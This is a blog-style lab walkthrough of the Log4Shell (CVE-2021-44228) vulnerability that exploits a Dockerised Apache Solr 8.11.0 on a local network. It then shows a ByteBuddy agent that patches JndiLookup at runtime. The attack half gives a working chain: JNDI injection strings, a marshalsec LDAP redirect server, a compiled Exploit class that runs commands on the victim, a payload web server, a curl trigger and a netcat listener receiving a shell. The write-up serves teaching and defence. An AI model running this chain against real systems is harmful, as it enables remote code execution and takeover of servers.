Log4Shell a christmas gift 🎅🏼 jojojojojo

It really has been a great Christmas 🎁 for many people, I think even more for the developer of the dependency itself, ejje yes, the one who introduced the vulnerability without realizing, hence, many people question, that despite being an open-source project, it is not the same as always being audited.

The vulnerability was discovered by a Chinese Chen Zhaojun of the Alibaba Cloud Security Team. From there, the rumors started to become true.

🗓 Brief History

2013 JNDI Lookup plugin support

A couple of years ago introducing the feature xD

2016 Blackhat

Many people had already heard that the JDNI protocol could be implemented by here

The #Log4Shell attack vector was known since 2016

Presentation of Alvaro Muñoz BlackHat 2016

2019 The Ghost in the logging framework

Regular expression that was around to mitigate the issue, several at api-gateway level I have seen that have done similar things.

2021/10 December the gift 🎄🎁🎅

On the 10th the CVE-2021-44228

Affected versions of Apache Log4j™ 2

soler

Having a dependency with maven version 2.14.0 would be enough:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>

JNDI injection steps

By means of a request to the application via parameters, headers, the String to be logged by log4j2 is passed.

The JNDI interface will look for an object on a specific path, local or remote to the server LDAP aka LDAPRefServer, that it will redirect the initial request to the malicious server.

The redirection is successful and the malware is downloaded.

And finally the malware is executed on the target.

inyeccion flow


TryHackMe Solar, exploiting log4j

soler

Let’s test this vulnerable apache machine solar version 8.11.0, a Java-based search engine.

It happens that without being VIP in TryHackMe our virtual machine there, lasts only 1 hour hahahah, let’s better contain this version of apache solr ourselves with docker and already, with that we can solve it quietly.

The Dockerfile

If all else fails, we’ll create a dockerfile that builds the environment for us 😈.

FROM ubuntu:latest
RUN apt-get update && apt-get install -y wget && apt-get install -y ncat && apt-get install -y iputils-ping (1)
RUN wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz \ (2)
	&& wget https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.tgz
RUN tar -xzf jdk-8u181-linux-x64.tar.gz && tar -xzf solr-8.11.0.tgz
ENV JAVA_HOME /jdk1.8.0_181
RUN rm jdk-8u181-linux-x64.tar.gz && rm solr-8.11.0.tgz
ENV PATH $PATH:$JAVA_HOME/bin
# Document port to use with docker run -ti -p 8983:8983
EXPOSE 8983
ENTRYPOINT ["/solr-8.11.0/bin/solr", "-f", "-force", "-p", "8983"]
1 With Netcat, ping, and wget 🔥
2 Vulnerable Java version, we could also download it from somewhere else and with the COPY step copy it into the container.

Running Dockerfile

rubn ⲁƛ ▸ docker build -t ubuntu-solr-log4shell . (1)
[+] Building 5.7s (11/11) FINISHED
 => [internal] load build definition from Dockerfile                                                                                                            0.0s
 => => transferring dockerfile: 650B                                                                                                                            0.0s
 => [internal] load .dockerignore                                                                                                                               0.0s
 => => transferring context: 2B                                                                                                                                 0.0s
 => [internal] load metadata for docker.io/library/ubuntu:latest                                                                                                5.7s
 => [1/7] FROM docker.io/library/ubuntu:latest@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f                                          0.0s
 => CACHED [2/7] RUN apt-get update && apt-get install -y wget && apt-get install -y ncat                                                                       0.0s
 => CACHED [3/7] RUN wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz                                                            0.0s
 => CACHED [4/7] RUN wget https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.tgz                                                                    0.0s
 => CACHED [5/7] RUN tar -xzf jdk-8u181-linux-x64.tar.gz && tar -xzf solr-8.11.0.tgz                                                                            0.0s
 => CACHED [6/7] RUN rm jdk-8u181-linux-x64.tar.gz                                                                                                              0.0s
 => CACHED [7/7] RUN rm solr-8.11.0.tgz                                                                                                                         0.0s
 => exporting to image                                                                                                                                          0.0s
 => => exporting layers                                                                                                                                         0.0s
 => => writing image sha256:2d369671576c81f42228ebea268be0ad8a37ed7fc568c4741d7537a523e154d4                                                                    0.0s
 => => naming to docker.io/library/ubuntu-solr-log4shell                                                                                                        0.0s
1 We build our image through the dockerfile and it will be called ubuntu-solr-log4shell.

Running Solr

rubn ⲁƛ ▸ docker run -ti -p 8983:8983 ubuntu-solr-log4shell (1)
Java HotSpot(TM) 64-Bit Server VM warning: Failed to reserve shared memory. (error = 12)
Java HotSpot(TM) 64-Bit Server VM warning: Failed to reserve shared memory. (error = 12)
Java HotSpot(TM) 64-Bit Server VM warning: Failed to reserve shared memory. (error = 12)
Java HotSpot(TM) 64-Bit Server VM warning: Failed to reserve shared memory. (error = 12)
2023-10-16 18:19:17.071 INFO  (main) [   ] o.e.j.u.log Logging initialized @710ms to org.eclipse.jetty.util.log.Slf4jLog
(2)
2023-10-16 18:19:17.213 INFO  (main) [   ] o.e.j.s.Server jetty-9.4.44.v20210927; built: 2021-09-27T23:02:44.612Z; git: 8da83308eeca865e495e53ef315a249d63ba9332; jvm 1.8.0_181-b13
2023-10-16 18:19:17.221 INFO  (main) [   ] o.e.j.d.p.ScanningAppProvider Deployment monitor [file:///solr-8.11.0/server/contexts/] at interval 0
2023-10-16 18:19:17.386 INFO  (main) [   ] o.e.j.w.StandardDescriptorProcessor NO JSP Support for /solr, did not find org.apache.jasper.servlet.JspServlet
2023-10-16 18:19:17.408 INFO  (main) [   ] o.e.j.s.session DefaultSessionIdManager workerName=node0
2023-10-16 18:19:17.408 INFO  (main) [   ] o.e.j.s.session No SessionScavenger set, using defaults
2023-10-16 18:19:17.410 INFO  (main) [   ] o.e.j.s.session node0 Scavenging every 600000ms
2023-10-16 18:19:17.463 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter Using logger factory org.apache.logging.slf4j.Log4jLoggerFactory
2023-10-16 18:19:17.466 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter  ___      _       Welcome to Apache Solr? version 8.11.0
2023-10-16 18:19:17.466 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter / __| ___| |_ _   Starting in standalone mode on port 8983
2023-10-16 18:19:17.466 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter \__ \/ _ \ | '_|  Install dir: /solr-8.11.0
2023-10-16 18:19:17.467 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter |___/\___/_|_|    Start time: 2023-10-16T18:19:17.467Z
2023-10-16 18:19:17.471 INFO  (main) [   ] o.a.s.c.SolrPaths Using system property solr.solr.home: /solr-8.11.0/server/solr
2023-10-16 18:19:17.471 INFO  (main) [   ] o.a.s.c.SolrXmlConfig Loading container configuration from /solr-8.11.0/server/solr/solr.xml
2023-10-16 18:19:17.538 INFO  (main) [   ] o.a.s.c.SolrXmlConfig MBean server found: com.sun.jmx.mbeanserver.JmxMBeanServer@2b6faea6, but no JMX reporters were configured - adding default JMX reporter.
2023-10-16 18:19:17.897 INFO  (main) [   ] o.a.s.h.c.HttpShardHandlerFactory Host whitelist initialized: WhitelistHostChecker [whitelistHosts=null, whitelistHostCheckingEnabled=true]
2023-10-16 18:19:18.034 WARN  (main) [   ] o.e.j.u.s.S.config Trusting all certificates configured for Client@61526469[provider=null,keyStore=null,trustStore=null]
2023-10-16 18:19:18.035 WARN  (main) [   ] o.e.j.u.s.S.config No Client EndPointIdentificationAlgorithm configured for Client@61526469[provider=null,keyStore=null,trustStore=null]
2023-10-16 18:19:18.100 WARN  (main) [   ] o.e.j.u.s.S.config Trusting all certificates configured for Client@740abb5[provider=null,keyStore=null,trustStore=null]
2023-10-16 18:19:18.100 WARN  (main) [   ] o.e.j.u.s.S.config No Client EndPointIdentificationAlgorithm configured for Client@740abb5[provider=null,keyStore=null,trustStore=null]
2023-10-16 18:19:18.133 WARN  (main) [   ] o.a.s.c.CoreContainer Not all security plugins configured!  authentication=disabled authorization=disabled.  Solr is only as secure as you make it. Consider configuring authentication/authorization before exposing Solr to users internal or external.  See https://s.apache.org/solrsecurity for more info
2023-10-16 18:19:18.228 INFO  (main) [   ] o.a.s.c.TransientSolrCoreCacheDefault Allocating transient core cache for max 2147483647 cores with initial capacity of 1024
2023-10-16 18:19:18.235 INFO  (main) [   ] o.a.s.h.a.MetricsHistoryHandler No .system collection, keeping metrics history in memory.
2023-10-16 18:19:18.280 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.node' (registry 'solr.node') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@2b6faea6
2023-10-16 18:19:18.281 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jvm' (registry 'solr.jvm') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@2b6faea6
2023-10-16 18:19:18.282 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jetty' (registry 'solr.jetty') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@2b6faea6
2023-10-16 18:19:18.306 INFO  (main) [   ] o.a.s.c.CorePropertiesLocator Found 0 core definitions underneath /solr-8.11.0/server/solr
2023-10-16 18:19:18.338 INFO  (main) [   ] o.e.j.s.h.ContextHandler Started o.e.j.w.WebAppContext@72035809{/solr,file:///solr-8.11.0/server/solr-webapp/webapp/,AVAILABLE}{/solr-8.11.0/server/solr-webapp/webapp}
2023-10-16 18:19:18.347 INFO  (main) [   ] o.e.j.s.AbstractConnector Started ServerConnector@28f2a10f{HTTP/1.1, (http/1.1, h2c)}{0.0.0.0:8983}
2023-10-16 18:19:18.348 INFO  (main) [   ] o.e.j.s.Server Started @1988ms
2023-10-16 18:20:13.243 INFO  (qtp1118078504-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1697480413160} status=0 QTime=31
2023-10-16 18:20:13.249 INFO  (qtp1118078504-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1697480413160} status=0 QTime=37
2023-10-16 18:20:13.288 INFO  (qtp1118078504-25) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1697480413160} status=0 QTime=4
1 Same case, run, for the next run add --rm, or else docker start -i contendor_id to avoid creating another container.
2 Vulnerable Java version.

apachesolr 8.11 jdk8


Where we can enter the Strings ?

In any part that logs through the apache Log4j2 api, in this case solr, by means of the query parameters allows to show information through the console, which makes it a attack vector.

Also forms, inputs (textboxes), passwordfields, headers, etc.

If we invoke this url with curl or whatever, from any browser as well:

http://localhost:8983/solr/admin/info/system (1)
1 This url shows console logs of the solr application, which can be very common in other applications. 🤣
2023-10-14 16:24:00.416 INFO  (qtp1550228904-38) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1697300640352} status=0 QTime=4

With postman

params showme in console

2023-10-14 16:32:52.113 INFO  (qtp1550228904-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={bar=muestra_esto_en_consola} status=0 QTime=3

Exploring

With the freaking String we can test if the application is vulnerable by making the victim connect to our netcat server for example:

${jndi:ldap://ElJuanKer}
${jndi:ldap://192.168.1.8:9999} (1)
1 This ip, contains a Netcat listener in kali, or in any other operating system, even android.

solr admin info system

Activating our listener in Kali

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9999
listening on [any] 9999 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.241] 37842 (1)
0
 `� (2)
1 192.168.1.241 is the host where the container is located.
2 This Solr server is vulnerable to this type of injection.

The Payload We need an LDAPRefServer

Necessary to redirect the initial request of the victim application to the malicious server, it acts as a listenerhandler.

In Apache solr this request is not filtered in any way in this version, compromising the system and passing the request to the remote server.

In a spring application it is another thing because of the security it possesses knowing that many exploit it by sending the query parameters in Base64 aka ofuscated payload to penetrate the system.

Unmarshalling process, or deserialization, marshalsec an interesting paper where they talk about how vulnerable Java can be when deserializing an Object.

Building the .jar

Compile with jdk 8 which is the same as Solr, and run it as well.

We build the marshalsec-0.0.3-SNAPSHOT-all.jar however, in docker, with the IDE of choice, whatever and with Java example "1.8.0_181".

┌──(kali㉿kali)-[~/Desktop]
└─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.8:8080/#Exploit (1)

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389 (2)
1 The attacker’s ip address, referencing port 8080, which will be invoked when the listener is triggered.
2 Our malicious LDAP listening, that console output is right here, LDAPRefServer

Jdk 8 vulnerable in docker

It often becomes tedious to set the specific jdk we want, it would also have used SDKMAN

The Dockerfile and the .jar must be in the same directory, or else, set the correct path in the point
FROM openjdk:8u181-jre (1)
COPY marshalsec-0.0.3-SNAPSHOT-all.jar /usr/app/ (2)
WORKDIR /usr/app (3)
EXPOSE 1389  (4)
ENTRYPOINT ["java", "-cp", "marshalsec-0.0.3-SNAPSHOT-all.jar","marshalsec.jndi.LDAPRefServer","http://192.168.1.8:8080/#Exploit"] (5)
1 It is just the version that we are going to contain, and vulnerable.
2 This .jar is in the same path as the Dockerfile, and it will be copied into the container inside the path indicated
3 The directory to be used is set, it can be optional.
4 With Expose as documentation when building the image, you should expose this port with -p 1389:1389 for the LDAP listener malicious.
5 We execute the final .jar, with ENTRYPOINT which is similar to CMD but has its differences.
┌──(kali㉿kali)-[~/Desktop/jdk-8-dockerfile]
└─$ docker run -it -p 1389:1389 jdni-log4shell (1)
1 Running and exposing port 1389

☣ We compile our payload

javac Exploit.java and we will have the .class with poison ☣

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("ping -c 3 192.168.1.8");
        }
        catch (Exception exception) {
            exception.printStackTrace();
        }
    }
}

Recompiling bytecode with Recaf

This allows you to edit the .class at runtime and then save it (Ctrl + S), good to know.

recompile exploit

Optional of course, otherwise compile with javac the exploit and that’s it.

Server on attacking machine

┌──(root㉿kali)-[/home/kali/Desktop]
└─# python3 -m http.server 8080 (1)
1 This here is serving the payploadexploit, in the same path where the previously generated Exploit.class is.

We listen on eth0

┌──(root㉿kali)-[/home/kali]
└─# tcpdump -i eth0 icmp (1)
1 As proof that the victim will ping us, which is the payload code.

Launching an attack

We do curl

curl http://192.168.1.241:8983/solr/admin/cores?foo=$\{jndi:ldap://192.168.1.8:1389/Exploit\} (1)
1 Requesting the victim application with the parameters for the LDAP connection.

Our LDAP handler responds

┌──(kali㉿kali)-[~/Desktop]
└─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.8:8080/#Exploit

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Send LDAP reference result for Exploit redirecting to http://192.168.1.8:8080/Exploit.class
Send LDAP reference result for Exploit redirecting to http://192.168.1.8:8080/Exploit.class (1)
1 Our LDAP redirects the resource to our python server.

The victim pings

The paylaod was correctly executed on the victim.

┌──(root㉿kali)-[/home/kali]
└─# tcpdump -i eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
00:16:39.120987 IP 192.168.1.241 > 192.168.1.8: ICMP echo request, id 7, seq 91, length 64
00:16:39.121057 IP 192.168.1.8 > 192.168.1.241: ICMP echo reply, id 7, seq 91, length 64
00:16:39.152940 IP 192.168.1.241 > 192.168.1.8: ICMP echo request, id 6, seq 91, length 64

Running NetCat

👂🏻ReverseShell

We reactivate our netcat listener and do curl again boom!!!!

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9999
listening on [any] 9999 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.241] 53578
ls -la
total 220
drwxr-xr-x 1 root root   4096 Oct 16 18:19 .
drwxr-xr-x 1 root root   4096 Oct 16 18:14 ..
-rw-r--r-- 1 root root   3933 Nov  5  2021 README.txt
drwxr-xr-x 2 root root   4096 Oct 16 18:14 contexts
drwxr-xr-x 2 root root   4096 Oct 16 18:14 etc
drwxr-xr-x 3 root root   4096 Oct 16 18:14 lib
drwxr-xr-x 2 root root   4096 Oct 17 00:20 logs
drwxr-xr-x 2 root root   4096 Oct 16 18:14 modules
drwxr-xr-x 2 root root   4096 Oct 16 18:14 resources
drwxr-xr-x 3 root root   4096 Nov  5  2021 scripts
drwxr-xr-x 1 root root   4096 Oct 16 18:19 solr
drwxr-xr-x 3 root root   4096 Nov  9  2021 solr-webapp
-rw-r--r-- 1 root root 163958 Sep 27  2021 start.jar

Access from windows

Same story as with kali, only we use here a server called HFS File Server instead of python for brevity.

send payload from windows


🕵 Patch JndiLookup

dynamic attach flow

<dependency>
    <groupId>com.sun</groupId>
    <artifactId>tools</artifactId>
    <version>any</version>
    <scope>system</scope>
    <systemPath>${java.home}/../lib/tools.jar</systemPath> (1)
</dependency>
1 Very necessary to have this library of the JDK 8, it is investigated to use the newer versions, in the JDK 8 for example, the tools.jar that allows to make the black magic in the JVM.

Configuring Agent with ByteBuddy

We create our agent with bytebuddy as in a past, but this time, more complex, to make dynamic attach, this technique has many other names, also monkey patching…​

public static void transform(String args, Instrumentation inst) {
    new AgentBuilder.Default()
            .ignore(ElementMatchers.none()) (1)
            .disableClassFormatChanges() (2)
            .with(AgentBuilder.RedefinitionStrategy.RETRANSFORMATION) (3)
            .with(AgentBuilder.RedefinitionStrategy.Listener.StreamWriting.toSystemError()) (4)
            .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
            .with(AgentBuilder.Listener.StreamWriting.toSystemError().withTransformationsOnly()) (5)
            .type(ElementMatchers.nameContains(TARGET_CLASS_JNDI_LOOKUP)) (6)
            .transform((builder, typeDescription, classLoader, module, protectionDomain) ->
                        builder.visit(Advice.to(Log4ShellAdvice.class) (7)
                                .on(ElementMatchers.isMethod())
                )
            )
            .installOn(inst); (8)
}
1 We ignore any macher.
2 Allows the redefining of the class in the JVM, disabling certain operations that most JVMs do not allow with respect to the retransformation of classes, info.
3 The retransformation strategy of the JndiLookup class loaded, or to be executed, is set.
4 Show general errors.
5 Show errors if something happens when transforming the class.
6 Filter to transform just the vulnerable class .log4j.core.lookup.JndiLookup
7 Necessary to retransform, it is a decorator aka. decorator, which in the end will pass through the Advice, which is very important to define, with input and output method, and is used in combination with the characteristic of point 2.
8 We install the agent in the Java api.

We can also:

 .transform((builder, typeDescription, classLoader, module, protectionDomain) ->
                        builder.visit(Advice.to(Log4ShellAdvice.class)
                                .on(ElementMatchers.hasMethodName("lookup"))) (1)
                )
1 If we want to implement only one specific method.

Running Agent via dynamic attach

rubn ⲁƛ ▸ docker exec -it 9b473d1f7849 bash (1)
root@9b473d1f7849:/# java -jar agent-1.0.1-jar-with-dependencies.jar 1 (2)

Attached to target jvm correctly

root@9b473d1f7849:/#
1 We need to enter the container to execute the agent inside, our jar can be passed inside the container as we wish.
2 With this we execute our Agent but, we need the PID of the JVM process, as in this case we are inside the Solr container, we extract that PID with the top command and it is usually 1
To know the JVM pid we can use jcmd which is more descriptive and jps.

Watch

If we are testing locally, other than docker, it would be useful to use the watch command to see our PID`s, it is annoying to run every time, so we have:

watch -n 2 \ (1)
'jcmd | grep .jar' (2)
1 The watch command that allows us to refresh with the -n parameter every 2 seconds, the \ is just to split the line and explain better 😍
2 In quotes, we run jcmd and the output is filtered by files ending in .jar

Patching executed in Solr

monkey patching1

In this patching case, we instrument the methods of the JndiLookup class with the above agent code.

2023-10-22 23:43:45.021 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jvm' (registry 'solr.jvm') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2023-10-22 23:43:45.022 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jetty' (registry 'solr.jetty') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2023-10-22 23:43:45.048 INFO  (main) [   ] o.a.s.c.CorePropertiesLocator Found 0 core definitions underneath /solr-8.11.0/server/solr
2023-10-22 23:43:45.079 INFO  (main) [   ] o.e.j.s.h.ContextHandler Started o.e.j.w.WebAppContext@5e2c3d18{/solr,file:///solr-8.11.0/server/solr-webapp/webapp/,AVAILABLE}{/solr-8.11.0/server/solr-webapp/webapp}
2023-10-22 23:43:45.089 INFO  (main) [   ] o.e.j.s.AbstractConnector Started ServerConnector@2fb3536e{HTTP/1.1, (http/1.1, h2c)}{0.0.0.0:8983}
2023-10-22 23:43:45.090 INFO  (main) [   ] o.e.j.s.Server Started @2029ms
Execute Agentmain method (1)

           ,@&@@
              &@@/*/#&
              *//*,,/*/*(
             **,*/***//**,#            #%##
              ,/,*/**/*,,**(,##   .%(***/*,*&&@@
               (*(,*,//*,/(**/*/*/(**/*,*/,/#&%@#&#%&&
                 ***/,/(/***,//*,***,////*(&%@#@%%%&&#(&&
                 /**/,/**,///**,(#((((*,%@&&&@@%&&%&@&%%&#%@
                .///*,****////**%#@&%@&@#@#@%&@%&%&(&@%&%@#&%@
             &(***,/(//*/,***,*,*#%%&@@&@%(%(**...*##@@&%@%%@#&
        ***//*,//*,,**%,/*,//**/*.,,*,,,/ ,*,,,,*/,**,./%&@#%%%%&
        (*/***,,/(/,/%@*(***//****,,.,,,.//,**.,,,**/,,*(,@%&%%#%&@&@@@@.
      @%%%%%&%&%&%&%@%,///**/(,,,,./***,*,.,,*,//.*,.,,****&#%%@@%%&%%#&%#&@
    #%&&#&&@&&&%@%&&&*/,/*//*/.*,.,,,.//*/***.,.*,,/*,*.,*./%&&&@@@%&&&#&&&#&
   .%%&&&&#/***%%&@@%%****,,*/&@@@/*.*,.,*,,*/&@@&*,,,*/*/.*%#&&@&*(,*/#&&@#%&
   #%@&&@((**#/%&%&%%(,*,//,**,*,,,**,/,/*,,**,**./*.,*.,,*@@%@(%&,/**((%%@&#&
    %&&&&@****//&%%&%%.*,,/,**.**.**,,@@@@@*/.**.,,**,*,,*%@&%&%&&*,*%/&#&&@&%
    #%@#%&&@&&%%&&%&&%,*,,,,,,,*/./*,*(#@&(.,*,/*,*.,.,*,/,/#@%%#&%@&%%@&%&%#
      %%@&@&%@&%&&&%@ ,*.**,@.,,.,,*,//,**.,,,.,*.*/&**,.*,*&%@&%@&&%@&&@%#.
         (/&&@&&@&@#&.*.,./,*@@/./*,,,,,,/.//.**./@&,//.**,,@@@%#%
                  %@%& /.*.,.*/%&@/,**,*,.,..*@&@%*.,*,*,*,%@&#%
                   /%@#&.**.,.*,,/*@@@@@@@@@@@&**,/*.*,,.#@%&&
                      %@&%,***,**,*.,,/.//,*/.,*,*,// &&%@&%
                        .#&@#&&..*///(#/*(#((/*  #&&@@@%&
                            @##@@&@@%@&&%@@%@&%@@&@/.
                                   %(%(*(&#%%

Starting monkey patching :D by rubn0x52.com

[Byte Buddy] REDEFINE BATCH #0 [1 of 1 type(s)]
[Byte Buddy] TRANSFORM org.apache.logging.log4j.core.lookup.JndiLookup [startJarLoader@497470ed, null, Thread[Attach Listener,9,system], loaded=true]
[Byte Buddy] REDEFINE COMPLETE 1 batch(es) containing 1 types [0 failed batch(es)]
OnEnter => public java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.lookup(org.apache.logging.log4j.core.LogEvent,java.lang.String)
OnEnter => private java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.convertJndiName(java.lang.String)
.log4j.core.lookup.JndiLookup is patched!!!
.log4j.core.lookup.JndiLookup is patched!!!
(2)
OnEnter => public java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.lookup(org.apache.logging.log4j.core.LogEvent,java.lang.String)
OnEnter => private java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.convertJndiName(java.lang.String)
.log4j.core.lookup.JndiLookup is patched!!!
.log4j.core.lookup.JndiLookup is patched!!!
(3)
2023-10-22 23:44:42.096 INFO  (qtp1083962448-25) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=Attack neutralized by agent} status=0 QTime=27
1 Agentmain executed
2 Here the attacker’s call was intercepted, but at the same time it is neutralized, because the lookUp method of the vulnerable JndiLookup class returns this Attack neutralized by agent 😈 as String, zero invocations to any server.
3 Already this GET by the attacker does not work.

We also have, this log when we instrument a single method, in this case the lookup

Execute Agentmain method

           ,@&@@
              &@@/*/#&
              *//*,,/*/*(
             **,*/***//**,#            #%##
              ,/,*/**/*,,**(,##   .%(***/*,*&&@@
               (*(,*,//*,/(**/*/*/(**/*,*/,/#&%@#&#%&&
                 ***/,/(/***,//*,***,////*(&%@#@%%%&&#(&&
                 /**/,/**,///**,(#((((*,%@&&&@@%&&%&@&%%&#%@
                .///*,****////**%#@&%@&@#@#@%&@%&%&(&@%&%@#&%@
             &(***,/(//*/,***,*,*#%%&@@&@%(%(**...*##@@&%@%%@#&
        ***//*,//*,,**%,/*,//**/*.,,*,,,/ ,*,,,,*/,**,./%&@#%%%%&
        (*/***,,/(/,/%@*(***//****,,.,,,.//,**.,,,**/,,*(,@%&%%#%&@&@@@@.
      @%%%%%&%&%&%&%@%,///**/(,,,,./***,*,.,,*,//.*,.,,****&#%%@@%%&%%#&%#&@
    #%&&#&&@&&&%@%&&&*/,/*//*/.*,.,,,.//*/***.,.*,,/*,*.,*./%&&&@@@%&&&#&&&#&
   .%%&&&&#/***%%&@@%%****,,*/&@@@/*.*,.,*,,*/&@@&*,,,*/*/.*%#&&@&*(,*/#&&@#%&
   #%@&&@((**#/%&%&%%(,*,//,**,*,,,**,/,/*,,**,**./*.,*.,,*@@%@(%&,/**((%%@&#&
    %&&&&@****//&%%&%%.*,,/,**.**.**,,@@@@@*/.**.,,**,*,,*%@&%&%&&*,*%/&#&&@&%
    #%@#%&&@&&%%&&%&&%,*,,,,,,,*/./*,*(#@&(.,*,/*,*.,.,*,/,/#@%%#&%@&%%@&%&%#
      %%@&@&%@&%&&&%@ ,*.**,@.,,.,,*,//,**.,,,.,*.*/&**,.*,*&%@&%@&&%@&&@%#.
         (/&&@&&@&@#&.*.,./,*@@/./*,,,,,,/.//.**./@&,//.**,,@@@%#%
                  %@%& /.*.,.*/%&@/,**,*,.,..*@&@%*.,*,*,*,%@&#%
                   /%@#&.**.,.*,,/*@@@@@@@@@@@&**,/*.*,,.#@%&&
                      %@&%,***,**,*.,,/.//,*/.,*,*,// &&%@&%
                        .#&@#&&..*///(#/*(#((/*  #&&@@@%&
                            @##@@&@@%@&&%@@%@&%@@&@/.
                                   %(%(*(&#%%

Starting monkey patching :D by rubn0x52.com

[Byte Buddy] REDEFINE BATCH #0 [1 of 1 type(s)]
[Byte Buddy] TRANSFORM org.apache.logging.log4j.core.lookup.JndiLookup [startJarLoader@497470ed, null, Thread[Attach Listener,9,system], loaded=true]
[Byte Buddy] REDEFINE COMPLETE 1 batch(es) containing 1 types [0 failed batch(es)]
                                                                                   (1)
OnEnter => public java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.lookup(org.apache.logging.log4j.core.LogEvent,java.lang.String)
.log4j.core.lookup.JndiLookup is patched!!!
OnEnter => public java.lang.String org.apache.logging.log4j.core.lookup.JndiLookup.lookup(org.apache.logging.log4j.core.LogEvent,java.lang.String)
.log4j.core.lookup.JndiLookup is patched!!!
2023-10-23 00:05:57.959 INFO  (qtp1083962448-25) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://192.168.1.8:1389/Exploit}} status=0 QTime=27
1 Implementing the lookup method.